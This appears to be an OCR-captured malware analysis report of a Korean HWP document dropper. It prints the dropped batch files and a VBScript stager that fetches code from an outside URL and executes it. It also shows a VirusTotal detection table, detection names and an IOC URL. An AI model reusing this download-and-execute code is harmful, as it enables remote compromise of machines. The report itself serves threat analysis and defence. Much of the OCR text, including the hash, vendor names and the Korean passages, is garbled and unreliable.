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— % TEMP%\TroubleShooter.bat

start /min %temp%\Diagnostics.bat

— %TEMP%\Diagnostics.bat

start wscript //b //e:vbscript %temp%\HncConfig.ini
exit

— % TEMP%\HncConfig.ini
On Error Resume Next:Set x = CreateObject("MSXML2.ServerXMLHTTP.6.0"):x.open "GET",

"http://yegip.kr/se2/photo_uploader/plugin/update/list.php?query=0",
0:x.Send:rt=x.responseText:Execute(rt)
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1 (1) 1security vendor flagged this file as malicious
- 1e52f0alcb21de7c33837772628cabccfdéTcbal 4687de681Bc9534800ebsTd5 18.50 KB 2021-04-0914:04:42 UTC
DETECTION DETAILS COMMUNITY
AhnLab-V3 (1) DropperHWF.Agent Ad-fware Undetected
AegisLab Undetected AlYac Undetected
Arntiy-AVL Undetected Arcabit Undetected
Avast Undetected Avira (no cloud) Undetectad
Baidu Undetected BitDefender Undetected
BitDefenderTheta Undetected Bkav Pro Undetected
CAT-GuickHeal Undetected Clamayv Undetected
CMC Undetected Comodo Undetected

[Z12]5] — VirusTotal XICH AMS}
SR V3 M Z0f| M= sl e mhofl chal ofei ek Z+o| RIEkstT QUCt.

[Zhed =T

e Dropper/HWP.Agent (2021.04.09.04)
o Trojan/BAT.Runner (2021.04.09.04)
o Downloader/VBS.Agent (2021.04.09.04)

[10C]

hxxp:/lyegip.kr/se2/photo_uploader/plugin/update/list.php?query=0

[ §27]
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